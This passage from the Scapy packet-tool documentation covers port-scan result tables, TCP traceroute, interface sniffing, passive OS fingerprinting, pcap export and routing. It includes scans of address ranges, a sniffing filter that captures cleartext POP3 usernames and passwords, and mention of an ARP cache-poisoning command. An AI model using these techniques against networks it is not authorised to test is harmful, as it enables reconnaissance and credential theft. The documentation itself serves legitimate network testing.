to send 9 packets.\n    **.*.*..*..................\n    Received 362 packets, got 8 answers, remaining 1 packets\n    >>> ans.make_table(\n    ...    lambda s,r: (s.dst, s.dport,\n    ...    r.sprintf(\"{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}\")))\n        66.35.250.150                192.168.1.1 216.109.112.135 \n    22  66.35.250.150 - dest-unreach RA          -               \n    80  SA                           RA          SA              \n    443 SA                           SA          SA              \n\nThe above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.\n\nFor larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set::\n\n    >>> ans.nsummary(lfilter = lambda s,r: r.sprintf(\"%TCP.flags%\") == \"SA\")\n    0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA\n\nIn case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open::\n\n    >>> ans.summary(lfilter = lambda s,r: r.sprintf(\"%TCP.flags%\") == \"SA\",prn=lambda s,r: r.sprintf(\"%TCP.sport% is open\"))\n    https is open\n\nAgain, for larger scans we can build a table of open ports::\n\n    >>> ans.filter(lambda s,r: TCP in r and r[TCP].flags&2).make_table(lambda s,r:\n    ...             (s.dst, s.dport, \"X\"))\n        66.35.250.150 192.168.1.1 216.109.112.135 \n    80  X             -           X               \n    443 X             X           X\n\nIf all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results::\n\n    >>> report_ports(\"192.168.1.1\",(440,443))\n    Begin emission:\n    ...*.**Finished to send 4 packets.\n    *\n    Received 8 packets, got 4 answers, remaining 0 packets\n    '\\\\begin{tabular}{|r|l|l|}\\n\\\\hline\\nhttps & open & SA \\\\\\\\\\n\\\\hline\\n440\n     & closed & TCP RA \\\\\\\\\\n441 & closed & TCP RA \\\\\\\\\\n442 & closed & \n    TCP RA \\\\\\\\\\n\\\\hline\\n\\\\hline\\n\\\\end{tabular}\\n'\n\n\nTCP traceroute\n--------------\n\n.. index::\n   single: Traceroute\n\nA TCP traceroute::\n\n    >>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))\n    *****.******.*.***..*.**Finished to send 22 packets.\n    ***......\n    Received 33 packets, got 21 answers, remaining 1 packets\n    >>> for snd,rcv in ans:\n    ...     print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP))\n    ...\n    5 194.51.159.65 0\n    6 194.51.159.49 0\n    4 194.250.107.181 0\n    7 193.251.126.34 0\n    8 193.251.126.154 0\n    9 193.251.241.89 0\n    10 193.251.241.110 0\n    11 193.251.241.173 0\n    13 208.172.251.165 0\n    12 193.251.241.173 0\n    14 208.172.251.165 0\n    15 206.24.226.99 0\n    16 206.24.238.34 0\n    17 173.109.66.90 0\n    18 173.109.88.218 0\n    19 173.29.39.101 1\n    20 173.29.39.101 1\n    21 173.29.39.101 1\n    22 173.29.39.101 1\n    23 173.29.39.101 1\n    24 173.29.39.101 1\n\nNote that the TCP traceroute and some other high-level functions are already coded::\n\n    >>> lsc()\n    sr               : Send and receive packets at layer 3\n    sr1              : Send packets at layer 3 and return only the first answer\n    srp              : Send and receive packets at layer 2\n    srp1             : Send and receive packets at layer 2 and return only the first answer\n    srloop           : Send a packet at layer 3 in loop and print the answer each time\n    srploop          : Send a packet at layer 2 in loop and print the answer each time\n    sniff            : Sniff packets\n    p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?\n    arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple\n    send             : Send packets at layer 3\n    sendp            : Send packets at layer 2\n    traceroute       : Instant TCP traceroute\n    arping           : Send ARP who-has requests to determine which hosts are up\n    ls               : List  available layers, or infos on a given layer\n    lsc              : List user commands\n    queso            : Queso OS fingerprinting\n    nmap_fp          : nmap fingerprinting\n    report_ports     : portscan a target and output a LaTeX table\n    dyndns_add       : Send a DNS add message to a nameserver for \"name\" to have a new \"rdata\"\n    dyndns_del       : Send a DNS delete message to a nameserver for \"name\"\n    [...]\n\nScapy may also use the GeoIP2 module, in combination with matplotlib and `cartopy <http://scitools.org.uk/cartopy/docs/latest/installing.html>`_ to generate fancy graphics such as below:\n\n.. image:: graphics/traceroute_worldplot.png\n\nIn this example, we used the `traceroute_map()` function to print the graphic. This method is a shortcut which uses the `world_trace` of the `TracerouteResult` objects.\nIt could have been done differently:\n\n    >>> conf.geoip_city = \"path/to/GeoLite2-City.mmdb\"\n    >>> a, _ = traceroute([\"www.google.co.uk\", \"www.secdev.org\"], verbose=0)\n    >>> a.world_trace()\n\nor such as above:\n\n    >>> conf.geoip_city = \"path/to/GeoLite2-City.mmdb\"\n    >>> traceroute_map([\"www.google.co.uk\", \"www.secdev.org\"])\n\nTo use those functions, it is required to have installed the `geoip2 <https://pypi.python.org/pypi/geoip2>`_ module, `its database <https://dev.maxmind.com/geoip/geoip2/geolite2/>`_ (`direct download <https://geolite.maxmind.com/download/geoip/database/GeoLite2-City.tar.gz>`_)\nbut also the `cartopy <http://scitools.org.uk/cartopy/docs/latest/installing.html>`_ module.\n\nConfiguring super sockets\n-------------------------\n\n.. index::\n   single: super socket\n\nDifferent super sockets are available in Scapy: the **native** ones, and the ones that use **libpcap** (to send/receive packets).\n\nBy default, Scapy will try to use the native ones (*except on Windows, where the winpcap/npcap ones are preferred*). To manually use the **libpcap** ones, you must:\n\n* On Unix/OSX: be sure to have libpcap installed.\n* On Windows: have Npcap/Winpcap installed. (default)\n\nThen use::\n\n    >>> conf.use_pcap = True\n\nThis will automatically update the sockets pointing to ``conf.L2socket`` and ``conf.L3socket``.\n\nIf you want to manually set them, you have a bunch of sockets available, depending on your platform. For instance, you might want to use::\n\n    >>> conf.L3socket=L3pcapSocket  # Receive/send L3 packets through libpcap\n    >>> conf.L2listen=L2ListenTcpdump  # Receive L2 packets through TCPDump\n\nSniffing\n--------\n\n.. index::\n   single: sniff()\n\nWe can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on ``conf.iface``::\n\n    >>>  sniff(filter=\"icmp and host 66.35.250.151\", count=2)\n    <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>\n    >>>  a=_\n    >>>  a.nsummary()\n    0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw\n    0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw\n    >>>  a[1]\n    <Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L\n     ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831\n     src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0\n     chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\\xf7g\\xda\\x00\\x07um\\x08\\t\\n\\x0b\n     \\x0c\\r\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\n     \\x1e\\x1f !\\x22#$%&\\'()*+,-./01234567' |>>>>\n    >>> sniff(iface=\"wifi0\", prn=lambda x: x.summary())\n    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133\n    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates\n    802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133\n    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates\n    802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates\n    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133\n    802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication\n    802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication\n    802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149\n    802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149\n    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133\n    802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133\n    802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding\n    802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding\n    802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw\n    802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw\n    >>> sniff(iface=\"eth1\", prn=lambda x: x.show())\n    ---[ Ethernet ]---\n    dst       = 00:ae:f3:52:aa:d1\n    src       = 00:02:15:37:a2:44\n    type      = 0x800\n    ---[ IP ]---\n       version   = 4L\n       ihl       = 5L\n       tos       = 0x0\n       len       = 84\n       id        = 0\n       flags     = DF\n       frag      = 0L\n       ttl       = 64\n       proto     = ICMP\n       chksum    = 0x3831\n       src       = 192.168.5.21\n       dst       = 66.35.250.151\n       options   = ''\n    ---[ ICMP ]---\n          type      = echo-request\n          code      = 0\n          chksum    = 0x89d9\n          id        = 0xc245\n          seq       = 0x0\n    ---[ Raw ]---\n             load      = 'B\\xf7i\\xa9\\x00\\x04\\x149\\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f !\\x22#$%&\\'()*+,-./01234567'\n    ---[ Ethernet ]---\n    dst       = 00:02:15:37:a2:44\n    src       = 00:ae:f3:52:aa:d1\n    type      = 0x800\n    ---[ IP ]---\n       version   = 4L\n       ihl       = 5L\n       tos       = 0x0\n       len       = 84\n       id        = 2070\n       flags     = \n       frag      = 0L\n       ttl       = 42\n       proto     = ICMP\n       chksum    = 0x861b\n       src       = 66.35.250.151\n       dst       = 192.168.5.21\n       options   = ''\n    ---[ ICMP ]---\n          type      = echo-reply\n          code      = 0\n          chksum    = 0x91d9\n          id        = 0xc245\n          seq       = 0x0\n    ---[ Raw ]---\n             load      = 'B\\xf7i\\xa9\\x00\\x04\\x149\\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f !\\x22#$%&\\'()*+,-./01234567'\n    ---[ Padding ]---\n                load      = '\\n_\\x00\\x0b'\n    >>> sniff(iface=[\"eth1\",\"eth2\"], prn=lambda x: x.sniffed_on+\": \"+x.summary())\n    eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw  \n    eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw    \n    eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw  \n    eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw\n\nFor even more control over displayed information we can use the ``sprintf()`` function::\n\n    >>> pkts = sniff(prn=lambda x:x.sprintf(\"{IP:%IP.src% -> %IP.dst%\\n}{Raw:%Raw.load%\\n}\"))\n    192.168.1.100 -> 64.233.167.99\n    \n    64.233.167.99 -> 192.168.1.100\n    \n    192.168.1.100 -> 64.233.167.99\n    \n    192.168.1.100 -> 64.233.167.99\n    'GET / HTTP/1.1\\r\\nHost: 64.233.167.99\\r\\nUser-Agent: Mozilla/5.0 \n    (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)\n    Firefox/2.0.0.8\\r\\nAccept: text/xml,application/xml,application/xhtml+xml,\n    text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\\r\\nAccept-Language:\n    en-us,en;q=0.5\\r\\nAccept-Encoding: gzip,deflate\\r\\nAccept-Charset:\n    ISO-8859-1,utf-8;q=0.7,*;q=0.7\\r\\nKeep-Alive: 300\\r\\nConnection:\n    keep-alive\\r\\nCache-Control: max-age=0\\r\\n\\r\\n'\n\nWe can sniff and do passive OS fingerprinting::\n\n    >>> p\n    <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L\n     ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e\n     src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80\n     seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840\n     chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),\n     ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>\n    >>> load_module(\"p0f\")\n    >>> p0f(p)\n    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])\n    >>> a=sniff(prn=prnp0f)\n    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])\n    (1.0, ['Linux 2.4.2 - 2.4.14 (1)'])\n    (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])\n    (1.0, ['Windows 2000 (9)'])\n\nThe number before the OS guess is the accuracy of the guess.\n\n.. note:: When sniffing on several interfaces (e.g. ``iface=[\"eth0\", ...]``), you can check what interface a packet was sniffed on by using the ``sniffed_on`` attribute, as shown in one of the examples above.\n\nAsynchronous Sniffing\n---------------------\n\n.. index::\n   single: AsyncSniffer()\n\n.. note::\n   Asynchronous sniffing is only available since **Scapy 2.4.3**\n\n.. warning::\n   Asynchronous sniffing does not necessarily improves performance (it's rather the opposite). If you want to sniff on multiple interfaces / socket, remember you can pass them all to a single `sniff()` call\n\nIt is possible to sniff asynchronously. This allows to stop the sniffer programmatically, rather than with ctrl^C.\nIt provides ``start()``, ``stop()`` and ``join()`` utils.\n\nThe basic usage would be:\n\n.. code-block:: python\n\n    >>> t = AsyncSniffer()\n    >>> t.start()\n    >>> print(\"hey\")\n    hey\n    [...]\n    >>> results = t.stop()\n\n.. image:: graphics/animations/animation-scapy-asyncsniffer.svg\n\nThe ``AsyncSniffer`` class has a few useful keys, such as ``results`` (the packets collected) or ``running``, that can be used.\nIt accepts the same arguments than ``sniff()`` (in fact, their implementations are merged). For instance:\n\n.. code-block:: python\n\n    >>> t = AsyncSniffer(iface=\"enp0s3\", count=200)\n    >>> t.start()\n    >>> t.join()  # this will hold until 200 packets are collected\n    >>> results = t.results\n    >>> print(len(results))\n    200\n\nAnother example: using ``prn`` and ``store=False``\n\n.. code-block:: python\n\n    >>> t = AsyncSniffer(prn=lambda x: x.summary(), store=False, filter=\"tcp\")\n    >>> t.start()\n    >>> time.sleep(20)\n    >>> t.stop()\n\nAdvanced Sniffing - Sniffing Sessions\n-------------------------------------\n\n.. note::\n   Sessions are only available since **Scapy 2.4.3**\n\n``sniff()`` also provides **Sessions**, that allows to dissect a flow of packets seamlessly. For instance, you may want your ``sniff(prn=...)`` function to automatically defragment IP packets, before executing the ``prn``.\n\nScapy includes some basic Sessions, but it is possible to implement your own.\nAvailable by default:\n\n- :py:class:`~scapy.sessions.IPSession` -> *defragment IP packets* on-the-fly, to make a stream usable by ``prn``.\n- :py:class:`~scapy.sessions.TCPSession` -> *defragment certain TCP protocols*. Currently supports:\n   - HTTP 1.0\n   - TLS\n   - Kerberos\n   - LDAP\n   - SMB\n   - DCE/RPC\n   - Postgres\n   - DOIP\n   - and maybe other protocols if this page isn't up to date.\n- :py:class:`~scapy.sessions.TLSSession` -> *matches TLS sessions* on the flow.\n- :py:class:`~scapy.sessions.NetflowSession` -> *resolve Netflow V9 packets* from their NetflowFlowset information objects\n\nThose sessions can be used using the ``session=`` parameter of ``sniff()``. Examples::\n\n    >>> sniff(session=IPSession, iface=\"eth0\")\n    >>> sniff(session=TCPSession, prn=lambda x: x.summary(), store=False)\n    >>> sniff(offline=\"file.pcap\", session=NetflowSession)\n\n.. note::\n   To implement your own Session class, in order to support another flow-based protocol, start by copying a sample from `scapy/sessions.py <https://github.com/secdev/scapy/blob/master/scapy/sessions.py>`_\n   Your custom ``Session`` class only needs to extend the :py:class:`~scapy.sessions.DefaultSession` class, and implement a ``process`` or a ``recv`` function, such as in the examples.\n\n\n.. warning::\n    The inner workings of ``Session`` is currently UNSTABLE: custom Sessions may break in the future.\n\n\nHow to use TCPSession to defragment TCP packets\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nThe layer on which the decompression is applied must be immediately following the TCP layer. You need to implement a class function called ``tcp_reassemble`` that accepts the binary data, a metadata dictionary as argument and returns, when full, a packet. Let's study the (pseudo) example of TLS:\n\n.. code::\n\n    class TLS(Packet):\n        [...]\n\n        @classmethod\n        def tcp_reassemble(cls, data, metadata, session):\n            length = struct.unpack(\"!H\", data[3:5])[0] + 5\n            if len(data) == length:\n                return TLS(data)\n\n\nIn this example, we first get the total length of the TLS payload announced by the TLS header, and we compare it to the length of the data. When the data reaches this length, the packet is complete and can be returned. When implementing ``tcp_reassemble``, it's usually a matter of detecting when a packet isn't missing anything else.\n\nThe ``data`` argument is bytes and the ``metadata`` argument is a dictionary which keys are as follow:\n\n- ``metadata[\"pay_class\"]``: the TCP payload class (here TLS)\n- ``metadata.get(\"tcp_psh\", False)``: will be present if the PUSH flag is set\n- ``metadata.get(\"tcp_end\", False)``: will be present if the END or RESET flag is set\n\nIf ``tcp_reassemble`` **returns any padding**, it will be kept for the next payload.\n\nFilters\n-------\n\n.. index::\n   single: filter, sprintf()\n\nDemo of both bpf filter and sprintf() method::\n\n    >>> a=sniff(filter=\"tcp and ( port 25 or port 110 )\",\n     prn=lambda x: x.sprintf(\"%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%\"))\n    192.168.8.10:47226 -> 213.228.0.14:110   S : \n    213.228.0.14:110 -> 192.168.8.10:47226  SA : \n    192.168.8.10:47226 -> 213.228.0.14:110   A : \n    213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>\n    \n    192.168.8.10:47226 -> 213.228.0.14:110   A : \n    192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto\n    \n    213.228.0.14:110 -> 192.168.8.10:47226   A : \n    213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK \n    \n    192.168.8.10:47226 -> 213.228.0.14:110   A : \n    192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata\n    \n    213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed\n    \n    192.168.8.10:47226 -> 213.228.0.14:110   A : \n    213.228.0.14:110 -> 192.168.8.10:47226  FA : \n    192.168.8.10:47226 -> 213.228.0.14:110  FA : \n    213.228.0.14:110 -> 192.168.8.10:47226   A : \n\nSend and receive in a loop \n--------------------------\n\n.. index::\n   single: srloop()\n\nHere is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change::\n\n    >>> srloop(IP(dst=\"www.target.com/30\")/TCP())\n    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding\n    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S\n    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding\n    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S\n    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding\n    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S\n    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding\n    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S\n            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S\n\n.. _import-export:\n\nImporting and Exporting Data\n----------------------------\nPCAP\n^^^^\n\nIt is often useful to save capture packets to pcap file for use at later time or with different applications::\n\n    >>> wrpcap(\"temp.cap\",pkts)\n\nTo restore previously saved pcap file:\n\n    >>> pkts = rdpcap(\"temp.cap\")\n\nor\n\n    >>> pkts = sniff(offline=\"temp.cap\")\n\nHexdump\n^^^^^^^\n\nScapy allows you to export recorded packets in various hex formats.\n\nUse ``hexdump()`` to display one or more packets using classic hexdump format::\n\n    >>> hexdump(pkt)\n    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.\n    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......\n    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..\n    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................\n    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !\"#$%\n    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345\n    0060   36 37                                              67\n\nHexdump above can be reimported back into Scapy using ``import_hexcap()``::\n\n    >>> pkt_hex = Ether(import_hexcap())\n    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.\n    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......\n    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..\n    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................\n    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !\"#$%\n    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345\n    0060   36 37                                              67\n    >>> pkt_hex\n    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L \n    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c \n    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 \n    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\\xe6\\xdapI\\xb6\\xe5\\x08\\x00\\x08\\t\\n\n    \\x0b\\x0c\\r\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\n    \\x1f !\"#$%&\\'()*+,-./01234567' |>>>>\n\nBinary string\n^^^^^^^^^^^^^\n\nYou can also convert entire packet into a binary string using the ``raw()`` function::\n\n    >>> pkts = sniff(count = 1)\n    >>> pkt = pkts[0]\n    >>> pkt\n    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L \n    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c \n    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 \n    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\\xe6\\xdapI\\xb6\\xe5\\x08\\x00\\x08\\t\\n\n    \\x0b\\x0c\\r\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\n    \\x1f !\"#$%&\\'()*+,-./01234567' |>>>>\n    >>> pkt_raw = raw(pkt)\n    >>> pkt_raw\n    '\\x00PV\\xfc\\xceP\\x00\\x0c)+S\\x19\\x08\\x00E\\x00\\x00T\\x00\\x00@\\x00@\\x01Z|\\xc0\\xa8\n    \\x19\\x82\\x04\\x02\\x02\\x01\\x08\\x00\\x9c\\x90Za\\x00\\x01\\xe6\\xdapI\\xb6\\xe5\\x08\\x00\n    \\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\n    \\x1c\\x1d\\x1e\\x1f !\"#$%&\\'()*+,-./01234567'\n\nWe can reimport the produced binary string by selecting the appropriate first layer (e.g. ``Ether()``).\n\n    >>> new_pkt = Ether(pkt_raw)\n    >>> new_pkt\n    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L \n    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c \n    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0 \n    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\\xe6\\xdapI\\xb6\\xe5\\x08\\x00\\x08\\t\\n\n    \\x0b\\x0c\\r\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\n    \\x1f !\"#$%&\\'()*+,-./01234567' |>>>>\n\nMaking tables\n-------------\n\n.. index::\n   single: tables, make_table()\n\nNow we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :\n\nHere we can see a multi-parallel traceroute (Scapy already has a multi TCP traceroute function. See later)::\n\n    >>> ans, unans = sr(IP(dst=\"www.test.fr/30\", ttl=(1,6))/TCP())\n    Received 49 packets, got 24 answers, remaining 0 packets\n    >>> ans.make_table( lambda s,r: (s.dst, s.ttl, r.src) )\n      216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195  \n    1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1     \n    2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254   \n    3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254   \n    4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3     \n    5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69  \n    6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 \n\nHere is a more complex example to distinguish machines or their IP stacks from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack as 172.20.80.201 and that 172.20.80.197:25 is not answered by the same IP stack as other ports on the same IP.\n\n::\n\n    >>> ans, unans = sr(IP(dst=\"172.20.80.192/28\")/TCP(dport=[20,21,22,25,53,80]))\n    Received 142 packets, got 25 answers, remaining 71 packets\n    >>> ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf(\"%IP.id%\")))\n       172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 \n    20 0             4203          7021          -             11562             \n    21 0             4204          7022          -             11563             \n    22 0             4205          7023          11561         11564             \n    25 0             0             7024          -             11565             \n    53 0             4207          7025          -             11566             \n    80 0             4028          7026          -             11567             \n\nIt can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.\n\nRouting\n-------\n\n.. index::\n   single: Routing, conf.route\n\nNow Scapy has its own routing table, so that you can have your packets routed differently than the system::\n\n    >>> conf.route\n    Network         Netmask         Gateway         Iface\n    127.0.0.0       255.0.0.0       0.0.0.0         lo\n    192.168.8.0     255.255.255.0   0.0.0.0         eth0\n    0.0.0.0         0.0.0.0         192.168.8.1     eth0\n    >>> conf.route.delt(net=\"0.0.0.0/0\",gw=\"192.168.8.1\")\n    >>> conf.route.add(net=\"0.0.0.0/0\",gw=\"192.168.8.254\")\n    >>> conf.route.add(host=\"192.168.1.1\",gw=\"192.168.8.1\")\n    >>> conf.route\n    Network         Netmask         Gateway         Iface\n    127.0.0.0       255.0.0.0       0.0.0.0         lo\n    192.168.8.0     255.255.255.0   0.0.0.0         eth0\n    0.0.0.0         0.0.0.0         192.168.8.254   eth0\n    192.168.1.1     255.255.255.255 192.168.8.1     eth0\n    >>> conf.route.resync()\n    >>> conf.route\n    Network         Netmask         Gateway         Iface\n    127.0.0.0       255.0.0.0       0.0.0.0         lo\n    192.168.8.0     255.255.255.0   0.0.0.0         eth0\n    0.0.0.0         0.0.0.0         192.168.8.1     eth0\n\nMatplotlib\n----------\n\n.. index::\n   single: Matplotlib, plot()\n\nWe can easily plot some harvested values using Matplotlib. (Make sure that you have matplotlib installed.)\nFor example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer::\n\n    >>> a, b = sr(IP(dst=\"www.target.com\")/TCP(sport=[RandShort()]*1000))\n    >>> a.plot(lambda q,r: r.id)\n    [<matplotlib.lines.Line2D at 0x2367b80d6a0>]\n\n.. image:: graphics/ipid.png\n\n\nTCP traceroute (2)\n------------------\n\n.. index::\n   single: traceroute(), Traceroute\n\nScapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, Scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result::\n\n    >>> 